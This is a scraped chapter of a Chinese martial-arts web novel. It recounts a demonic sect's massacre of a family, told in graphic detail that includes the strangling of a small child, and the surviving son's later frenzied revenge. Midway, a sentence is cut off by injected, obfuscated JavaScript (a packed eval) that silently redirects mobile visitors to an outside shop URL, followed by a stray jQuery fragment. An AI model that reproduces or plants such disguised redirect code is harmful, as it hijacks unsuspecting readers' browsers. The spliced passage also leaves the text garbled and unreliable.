小妹才四岁,根本不懂什么危险,只是被眼前的血腥吓得眼眶通红,握着小拳头,抬头看着魔教头目,软糯开口:“叔叔……你是谁呀?”
下一秒,魔教头目脸上的伪善彻底撕碎,眼神顿时变得狠戾。
他伸出大手一把揪住小妹的后颈,猛地站起身,朝内院大吼:“云明,不想你们女儿死,就立刻滚出来!”
声音顿时传遍整个宅院。
小妹被勒得喘不过气,小脸涨的通红,难受地哭出声:“疼……爹爹娘亲救我!”
云明夫妇闻声从内院冲出来,苏逸尘母亲看到小脸通红的小妹,当场失控哭着喊道:“魔头,放开我的女儿!”
云明手中握着长剑,对准魔教头目,厉声喝道:“任天笑,放过孩子,有什么冲我来!”
任天笑一把扣住小妹纤细的脖颈,指节用力,小妹的小脸瞬间憋成青紫色,小手无助地抓着他的手腕,发出细碎的呜咽声。
他眼神阴狠暴戾地盯着手持长剑地云明,威胁逼迫:“把清灵决交出来,否则我立刻扭断你女儿的脖子。”
云明心头一沉,明白这帮魔教贼人是冲着自家传世至宝而来。
清灵决乃门派绝学,若是落入魔教手中,必将祸乱整个江湖,万万不能交出。
“你不要为难一个孩子。”
“找死。”
任天笑闻言勃然大怒,脸色戾气暴涨,没再给半分犹豫的机会,手腕骤然发力。
“咔嚓!”一声脆响,小妹的小手瞬间垂落,脑袋无力地歪向一边,眼眸失去光彩,当场没了气息。
“灵儿!”
小妹殒命的瞬间,躲在假山中的苏逸尘透过小洞看见父母当场崩溃。
他母亲疯了一般冲向过去,任天笑将小妹的尸身随手丢到一旁,反手一剑直接穿透她的胸膛。
苏逸尘母亲顿时踉跄倒地,鲜血溅起,连最后一声呼喊都未来得及发出。
“霜儿!”
云明目睹妻女惨死,理智瞬间崩溃,他握着长剑,疯了一般冲向魔教众人,剑招大开大合,全是拼命的打法。
刀光剑影你来我往,可终究寡不敌众,后背硬生生挨了一剑,踉跄倒地。
任天笑缓步走上前,一脚狠狠踩在他的胸口,声音阴冷地说:“最后问你一次,清灵决在哪儿?”
云明躺在地上,嘴角溢血,眼神却依旧刚烈:“魔教贼子,清灵决决不可能交给你们!”
他拼尽最后一丝力气,拼命挣扎,想要从任天笑脚下爬起来。
就在挣扎的刹那,他目光一偏,无意间瞥见了假山的隐蔽小洞,看清缩在里面死死捂住嘴巴满脸泪水的苏逸尘。
四目相对的瞬间,云明停止了挣扎,他知道自己必死无疑,绝不能拖累儿子,更不能让清灵决落入魔教之手。
他猛地发力,挣脱开头目的束缚,紧握手中长剑,手腕一翻,剑锋直朝自己的脖颈,狠狠一横,自刎而亡!
鲜血瞬间喷涌而出,云明轰然倒地,至死都睁着眼睛,望着苏逸尘藏身的方向。
躲在假山中的苏逸尘,亲眼看着这一幕,泪水决堤,死死咬住手背,不让自己发出声音。
任天笑冷眼瞥了一眼地上的尸体,抬脚狠狠踹开云明的身躯,冷声吩咐手下:“给我四处翻找!掘地三尺也要把清灵决找出来!”
一众魔教教徒立刻四散开来,砸毁桌椅,翻遍厢房,弄得一片狼藉。
一名教徒提着长剑径直朝假山方向搜来,脚步越来越近。苏逸尘死死捂住口鼻,不让自己发出一丝声音。
透过狭小的洞口,害怕地盯着逼近的魔教教徒。就在魔教教徒俯身查看假山缝隙的刹那,他清晰看见对方黑色外衣上独特若隐若现的暗纹。
暗纹扭曲如蛇,缠绕着血色彼岸花,纹路的每一道弯折细节都被他看清。
目光死死盯着那道暗纹,他让自己无论如何也要把这道灭门仇人的印记刻进脑海深处,他日必定血债血偿!
教徒在假山周围翻找片刻,没有找到青灵决,骂骂咧咧的转身离开复命。
众人翻找许久,始终没有找到清灵决的踪影,任天笑顿时怒火中烧,眼神阴狠抬手一挥,厉声下令:“既然找不到,就给我烧了,不要留下痕迹!”
收到命令,教徒立刻扔出火折子,滔天大火瞬间席卷整座府邸,浓烟滚滚往上冒,火光染红了整片夜空,连假山都被火势笼罩。
魔教众人纵完火,转身撤离。
苏逸尘小心翼翼爬出假山,不顾身后熊熊烈火,拼尽全力跃进园中小池中,整个人屏住呼吸躲在水中,逃过了这场灭门之灾,成了整座府邸唯一的幸存者。
过往的惨痛回忆在脑海里来回翻涌,一幕幕转瞬即逝。
苏逸尘盯着眼前的一众魔教之人,再也压制不住心底的恨意,眼底变得通红,浑身戾气暴涨。
他眼中只剩下魔教之人,二话不说,直接冲上去出手,招招都是致命杀招,半点不留情面,下手狠辣至极。
拳脚、剑气所到之处,没有一个人能接住他几招,魔教教徒非死即伤,惨叫声接连不断,不过片刻,地上躺满尸体和重伤不起的魔教教徒。
那几名身着黑衣的魔教教徒,只因没有身着教袍,竟成了“落网之鱼”。
他们无视地上惨烈的厮杀,眼里只有捉拿任芊雪的任务,竟趁乱绕到侧面,扑向一旁的任芊雪。
任芊雪咬牙与黑衣人缠斗,不让他们抓住自己,影月手持短刃护在任芊雪身身侧,招式凌厉,死死拦住身旁的黑衣人。
两人一前一后抵挡黑衣人的攻势,然而终究是双拳难敌四手,影月一时分心,被黑衣人砍伤胳膊,鲜血瞬间涌出。
“影月,你没事吧?”
任芊雪与黑衣人缠斗,完全无法顾及影月,眼见黑衣人的长剑即将再次砍向影月。
千钧一发之际,陆明晖身形如电,用折扇挡住黑衣人的长剑。
影月感激的看着陆明晖,退到一旁。
只见陆明晖手中折扇骤然展开,扇骨上方突然闪现数把锋利的尖刀。不等黑衣人反应,他手腕翻转,折扇凌厉挥出,直至黑衣人要害。
他出手利落迅速,没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546530|204171||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
有半分拖泥带水,折扇尖刀所至,黑衣人接连倒地。不过数息,这群黑衣魔教中人皆被陆明晖尽数斩杀,再无一个活口。
历七眼见局势彻底失控,再打下去定会全军覆没,立刻下令:“快撤!”
他还是有些不甘心,目光看向不远处的任芊雪,猛地转身飞身扑去,妄想抓住任芊雪带回教中。
陆明晖眼疾手快,瞬间跨步上前挡住历七的攻势。
历七着急脱身,眼见再耽搁就会被彻底困住,当地调转方向,反手转向一旁受伤的影月,不等众人反应,一把扣住影月飞身离开。
“走!”
他挟持着影月,厉喝一声,带着残余魔教教徒和重伤同伴仓惶飞身撤离,很快消失在密林深处。
打斗结束,苏逸尘还是疯魔状态,他提着滴血的长剑,一步一步走到魔教教徒的尸体旁。
手腕狠狠扬起,一剑又一剑,疯狂地劈砍,刀刃割裂血肉地声音不断传出,鲜血溅得他满脸都是,模样看起来狰狞恐怖。
站在不远处得任芊雪害怕得僵在原地,浑身控制不住地瑟瑟发抖,脸色惨败如纸,嘴唇没有半分血色。
作为现代人,她从来没有见过这样血腥的场景。满地残肢,鲜血横流一地,刺鼻的血腥味扑面而来,胃里顿时感到翻江倒海。
好想吐!
尤其看到疯魔了的苏逸尘,让任芊雪心惊肉跳,她没想到苏逸尘对魔教竟然这么恨!
若有朝一日知晓了自己是魔教大小姐,以他对魔教赶尽杀绝的残忍样子,自己一定死的很惨!
想到这里,心底的恐惧瞬间蔓延至全身,她止不住地打冷颤,越想越害怕,双腿一软瘫坐到地上。
陆明晖再也看不下去了,厉声呵斥一声:“够了!别再砍了!”
他冲上前,伸手握住苏逸尘挥剑的手腕,用尽全身力气拉住他。
眼见被阻拦,苏逸尘猩红着双眼死死盯着陆明晖,眼底满是暴戾,挣扎着嘶吼:“放开!他们都该死!我要他们碎尸万段!”
“他们已经死了!你看看你现在像什么样子!”
陆明晖握紧他的手腕不肯松开,声音沉重又带着几分痛心,字字砸在他心上:“清醒点,我相信伯父伯母也不希望看到你这样!”
这句话如同当头棒喝,苏逸尘失控的神智瞬间回笼,眼中翻涌的戾气也渐渐褪去。
他浑身一颤,手中长剑再也握不住,“哐当”一声掉落在地,直直跪坐在满地血泊中,周身杀气也缓缓消散,整个人彻底恢复了理智。
陆明晖见他神色平复了许多,才缓缓松手,站在一旁默默看着。
沉默了片刻,苏逸尘缓缓俯身,伸手拾起地上沾满血迹的长剑,扯过身上的全是血迹的衣摆,一下又一下地仔细擦拭剑刃上的血污,动作缓慢且郑重。
将血迹擦拭干净后,他握住剑鞘,将长剑推入剑鞘中。
随着剑身彻底入鞘,他也好像将心底的仇恨、痛苦与疯癫,尽数牢牢封进剑鞘之中。
紧绷的双肩彻底放松,眉眼变得清明,恢复了往日温润沉静模样。